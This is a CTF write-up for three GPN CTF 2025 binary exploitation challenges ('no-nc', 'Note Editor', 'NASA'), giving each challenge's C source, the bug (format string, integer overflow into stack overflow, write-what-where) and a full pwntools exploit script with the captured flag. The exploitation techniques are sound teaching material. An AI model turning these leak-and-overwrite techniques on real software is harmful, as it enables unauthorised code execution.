[WRITE UP] - GPN CTF 2025

index

no-nc

Let’s take a look at the source code of the challenge:

1
#include <stdio.h>
2
#include <string.h>
3
#include <unistd.h>
4
#include <stdlib.h>
5
#include <fcntl.h>
6

7
#define RAW_FLAG "GPNCTF{fake_flag}"
8

9
char *FLAG = RAW_FLAG;
10

11
int no(char c)
12
{
13
    if (c == '.')
14
        return 1;
15
    if (c == '/')
16
        return 1;
17
    if (c == 'n')
18
        return 1;
19
    if (c == 'c')
20
        return 1;
21
    return 0;
22
}
23

24
char filebuf[4096] = {};
25
int main(int argc, char **argv)
26
{
27
    setbuf(stdin, 0);
28
    setbuf(stdout, 0);
29
    setbuf(stderr, 0);
30
    char buf[200] = {};
31
    puts("Give me a file to read");
32
    read(STDIN_FILENO, buf, (sizeof buf) - 1);
33
    buf[sizeof buf - 1] = '\0';
34
    size_t str_len = strlen(buf);
35
    for (size_t i = 0; i < str_len; i++)
36
    {
37
        if (no(buf[i]))
38
        {
39
            puts("I don't like your character!");
40
            exit(1);
41
        }
42
    }
43
    char *filename = calloc(200, 1);
44
    snprintf(filename, (sizeof filename) - 1, buf); // Format-String Vulnerability
45
    puts("Will open:");
46
    puts(filename);
47
    int fd = open(filename, 0);
48
    if (fd < 0)
49
    {
50
        perror("open");
51
        exit(1);
52
    }
53
    while (1)
54
    {
55
        int count = read(fd, filebuf, (sizeof filebuf) - 1);
56
        if (count > 0)
57
        {
58
            write(STDOUT_FILENO, filebuf, count);
59
        }
60
        else
61
        {
62
            break;
63
        }
64
    }
65
}

We can see that the program reads a filename from the user and checks if it contains any of the characters ., /, n, and c. If it does, it exits with an error message. Otherwise, it opens the file and reads its contents. But there is a format string vulnerability in the snprintf function, which allows us to control the filename. So that I had write a fuzzing script to find the exactly index of the binary name ./nc in the file system.

1
from pwnie import *
2

3
context.log_level = 'error'
4
for i in range(0, 255):
5
    try:
6
        p = remote('0', 1337)
7

8
        sa(b'read\n', f'%{i}$s'.encode())
9
        ru(b'Will open:\n')
10

11
        data = rl()[:-1]
12
        print(f'[+] Data leak at index {i}: {data} ')
13

14
    except EOFError:
15
        close()

And I found that the binary name ./nc is at index 71 and 122. So that we can use %s to make a pointer to the binary name, when the binary open the file, it will open the ./nc binary instead of the file we want to read. But note that the binary name is not null-terminated, so we need to add a null byte at the end of the string to avoid any issues.


40 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./nc', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
# init-gef-bata
15
b *main+513
16
c
17
'''
18

19
def start(argv=[]):
20
    if args.REMOTE:
21
        return remote(sys.argv[1], sys.argv[2], ssl=True)
22
    elif args.DOCKER:
23
        p = remote("localhost", 5000)
24
        sleep(0.5)
25
        pid = int(check_output(["pidof", "-s", "/app/run"]))
26
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
27
        pause()
28
        return p
29
    elif args.QEMU:
30
        if args.GDB:
31
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
32
        else:
33
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
34
    else:
35
        return process([exe.path] + argv, aslr=True)
36

37
def debug():
38
    gdb.attach(p, gdbscript=gdbscript)
39
    pause()
40

41
# ==================== EXPLOIT ====================
42
p = start()
43

44
# debug()
45
sa(b'd\n', b'%71$s\0')
46

47
interactive()
48
# GPNCTF{up_and_DOWN_aL1_4rouND_60eS_th3_n_dimens1oN41_cIrcLe_wtF_15_tHiS_f1ag}

Note Editor

We have 2 source files, one is libc.c and the other is main.c.

main.c

1
#include <stdio.h>
2
#include <stdint.h>
3
#include <stdlib.h>
4
#include <string.h>
5

6

7
#define NOTE_SIZE 1024
8
struct Note {
9
    char* buffer;
10
    size_t size;
11
    uint32_t budget;
12
    uint32_t pos;
13
};
14
typedef struct Note Note;
15

16
#define SCANLINE(format, args) \
17
    ({ \
18
    char* __scanline_line = NULL; \
19
    size_t __scanline_length = 0; \
20
    getline(&__scanline_line, &__scanline_length, stdin); \
21
    sscanf(__scanline_line, format, args); \
22
    })
23

24
void setup() {
25
    setvbuf(stdin, NULL, _IONBF, 0);
26
    setvbuf(stdout, NULL, _IONBF, 0);
27
    setvbuf(stderr, NULL, _IONBF, 0);
28
}
29

30
void reset(Note* note) {
31
    memset(note->buffer, 0, note->size);
32
    note->budget = note->size;
33
    note->pos = 0;
34
}
35

36
void append(Note* note) {
37
    printf("Append something to your note (%u bytes left):\n", note->budget);
38
    fgets(note->buffer + note->pos, note->budget, stdin);
39
    uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1;
40
    note->budget -= written;
41
    note->pos += written;
42
}
43

44
void edit(Note* note) {
45
    printf("Give me an offset where you want to start editing: ");
46
    uint32_t offset;
47
    SCANLINE("%u", &offset);
48
    printf("How many bytes do you want to overwrite: ");
49
    int64_t length;
50
    SCANLINE("%ld", &length); // INT.MIN - 2
51
    if (offset <= note->pos) {
52
        uint32_t lookback = (note->pos - offset);
53
        if (length <= note->budget + lookback) {
54
            fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte
55
            uint32_t written = strcspn(note->buffer + offset, "\n") + 1;
56
            if (written > lookback) {
57
                note->budget -= written - lookback;
58
                note->pos += written - lookback;
59
            }
60
        }
61
    } else {
62
        printf("Maybe write something there first.\n");
63
    }
64
}
65

66
void truncate(Note* note) {
67
    printf("By how many bytes do you want to truncate?\n");
68
    uint32_t length;
69
    SCANLINE("%u", &length);
70
    if (length > note->pos) {
71
        printf("You did not write that much, yet.\n");
72
    } else {
73
        note->pos -= length;
74
        memset(note->buffer + note->pos, 0, length);
75
        note->budget += length;
76
    }
77
}
78

79
uint32_t menu() {
80
    uint32_t choice;
81
    printf(
82
        "Choose your action:\n"
83
        "1. Reset note\n"
84
        "2. View current note\n"
85
        "3. Append line to note\n"
86
        "4. Edit line at offset\n"
87
        "5. Truncate note\n"
88
        "6. Quit\n"
89
    );
90
    SCANLINE("%u", &choice);
91
    return choice;
92
}
93

94
int main() {
95
    Note note;
96
    char buffer[NOTE_SIZE];
97

98
    note = (Note) {
99
        .buffer = buffer,
100
        .size = sizeof(buffer),
101
        .pos = 0,
102
        .budget = sizeof(buffer)
103
    };
104

105
    setup();
106
    reset(&note);
107
    printf("Welcome to the terminal note editor as a service.\n");
108

109
    while (1)
110
    {
111
        uint32_t choice = menu();
112
        switch (choice)
113
        {
114
        case 1:
115
            reset(&note);
116
            break;
117
        case 2:
118
            printf("Current note content:\n\"\"\"\n");
119
            puts(note.buffer);
120
            printf("\"\"\"\n");
121
            break;
122
        case 3:
123
            append(&note);
124
            break;
125
        case 4:
126
            edit(&note);
127
            break;
128
        case 5:
129
            truncate(&note);
130
            break;
131
        case 6: // fall trough to exit
132
            printf("Bye\n");
133
            return 0;
134
        default:
135
            printf("Exiting due to error or invalid action.\n");
136
            exit(1);
137
        }
138
    }
139
}

libc.c

1
#include <stdio.h>
2
#include <unistd.h>
3

4

5
char *fgets(char* s, int size, FILE *restrict stream) {
6
    char* cursor = s;
7
    for (int i = 0; i < size -1; i++) {
8
        int c = getc(stream);
9
        if (c == EOF) break;
10
        *(cursor++) = c;
11
        if (c == '\n') break;
12
    }
13
    // *cursor = '\0'; // our note is always null terminated
14
    return s;
15
}
16

17
void win() {
18
    execve("/bin/sh", NULL, NULL);
19
}

In generally, the program allows us to create a note, append lines to it, edit lines at specific offsets, and truncate the note. The note is stored in a fixed-size buffer, and we can manipulate it through various actions. The fgets function is overridden to read input from the user, and it does not null-terminate the string, which is important for our exploit. Moreover, there is Int Overflow vulnerability in the edit function, where we can specify a negative length to write more than the buffer size, which will lead to a Buffer Overflow. So that the idea is to leak the stack address, and use int overflow to trigger buffer overflow, and then overwrite the return address to call the win function.


47 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./chall', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
# init-gef-bata
15
b *0x401716
16
b *0x401708
17
b *0x4016CA
18
b *0x4016E2
19
b *0x4016FA
20
b *0x401458
21
b *0x401498
22
b *0x401748
23
c
24
'''
25

26
def start(argv=[]):
27
    if args.REMOTE:
28
        return remote(sys.argv[1], sys.argv[2], ssl=True)
29
    elif args.DOCKER:
30
        p = remote("localhost", 5000)
31
        sleep(0.5)
32
        pid = int(check_output(["pidof", "-s", "/app/run"]))
33
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
34
        pause()
35
        return p
36
    elif args.QEMU:
37
        if args.GDB:
38
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
39
        else:
40
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
41
    else:
42
        return process([exe.path] + argv, aslr=False)
43

44
def debug():
45
    gdb.attach(p, gdbscript=gdbscript)
46
    pause()
47

48
# ==================== EXPLOIT ====================
49
p = start()
50

51
sla(b't\n', b'3')
52
sla(b':\n', b'A'*1022)
53

54
sla(b't\n', b'4')
55
sla(b': ', b'1016')
56
sla(b': ', b'8')
57
sl(b'B'*7)
58

59
sla(b't\n', b'2')
60
ru(b'B'*7 + b'\n')
61
stack_leak = fixleak(rl()[:-1])
62
slog('stack leak @ %#x', stack_leak)
63

64
# debug()
65

66
sla(b't\n', b'4')
67
sla(b': ', b'1016')
68
sla(b': ', b'-2147483650') # INT.MIN - 2
69
sl(b'C'*0x8 + p64(stack_leak) + p64(0x400) + p64(0x400) + p64(0xdeadbeef)*2 + p64(exe.sym.win))
70

71
sla(b't\n', b'6')
72

73
interactive()
74
# GPNCTF{noW_YoU_5uRe1Y_AR3_rEadY_To_PwN_L4Dy8ird!}

NASA

The source code of the challenge is as follows:

1
// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa
2
#include <stdio.h>
3
#include <stdint.h>
4
#include <stdlib.h>
5

6
void win() {
7
        puts("YOU WIN!!!\n");
8
        system("/bin/sh");
9
        exit(0);
10
}
11

12
void provide_help(void *stack_ptr) {
13
        printf("%p\n", stack_ptr);
14
        printf("%p\n", &win);
15
}
16

17

18
// Write What(value) Where(address)
19
int main(void) {
20
        setvbuf(stdin, NULL, _IONBF, 0);
21
        setvbuf(stdout, NULL, _IONBF, 0);
22
        setvbuf(stderr, NULL, _IONBF, 0);
23

24
        long long option;
25
        provide_help(&option);
26
        while (1) {
27
                puts("[1] Write [2] Read [3] Exit");
28
                if (scanf("%llu", &option) != 1)
29
                        break;
30
                if (option == 1) {
31
                        puts("8-byte adress and 8-byte data to write please (hex)");
32
                        uintptr_t addr;
33
                        uint64_t val;
34
                        scanf("%lx %lx", &addr, &val);
35
                        *((uint64_t *)addr) = val;
36
                } else if (option == 2) {
37
                        puts("8-byte adress to read please (hex)");
38
                        uintptr_t addr;
39
                        scanf("%lx", &addr);
40
                        printf("%lx\n", *((uint64_t *)addr));
41
                } else if (option == 3) {
42
                        puts(":wave:");
43
                        break;
44
                } else {
45
                        puts("Invalid option");
46
                }
47
        }
48
        return 0;
49
}

This is just a simple Write What Where challenge. The provide_help function leaks the stack address, and we can use the main function to write any value to any address. So that we can leak the stack address, and then write the address of the win function to the stack address, and then call the win function.


42 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./nasa_patched', checksec=False)
10
libc = ELF('./libc.so.6', checksec=False)
11

12
gdbscript = '''
13
init-pwndbg
14
# init-gef-bata
15
# brva 0x1533
16
# brva 0x1655
17
brva 0x1705
18
c
19
'''
20

21
def start(argv=[]):
22
    if args.REMOTE:
23
        return remote(sys.argv[1], sys.argv[2], ssl=True)
24
    elif args.DOCKER:
25
        p = remote("localhost", 1337)
26
        sleep(0.5)
27
        pid = int(check_output(["pidof", "-s", "./nasa"]))
28
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
29
        pause()
30
        return p
31
    elif args.QEMU:
32
        if args.GDB:
33
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
34
        else:
35
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
36
    else:
37
        return process([exe.path] + argv, aslr=False)
38

39
def debug():
40
    gdb.attach(p, gdbscript=gdbscript)
41
    pause()
42

43
# ==================== EXPLOIT ====================
44
p = start()
45

46
# debug()
47
leak = hexleak(rl()[:-1])
48
exe.address = hexleak(rl()[:-1]) - exe.sym.win
49

50
slog('leak @ %#x', leak)
51
slog('pie base @ %#x', exe.address)
52

53
sla(b't\n', b'2')
54
sla(b')\n', f'{hex(exe.got.exit)}'.encode())
55
libc.address = int(b'0x' + rl()[:-1], 16) - libc.sym.exit
56
slog('libc base @ %#x', libc.address)
57

58
sla(b't\n', b'2')
59
sla(b')\n', f'{hex(libc.sym.environ)}'.encode())
60
stack_leak = int(b'0x' + rl()[:-1], 16)
61
saved_rip = stack_leak - 0x130
62
slog('stack leak @ %#x', stack_leak)
63
slog('saved RIP @ %#x', saved_rip)
64

65
sla(b't\n', b'1')
66
sla(b')\n', f'{hex(saved_rip)} {hex(exe.sym.win+22)}'.encode())
67

68
sla(b't\n', b'3')
69

70
interactive()
71
# GPNCTF{all_WR17es_ARe_Pro7ec7eD_BY_45aN_onlY_in_yoUR_dre4ms_9438}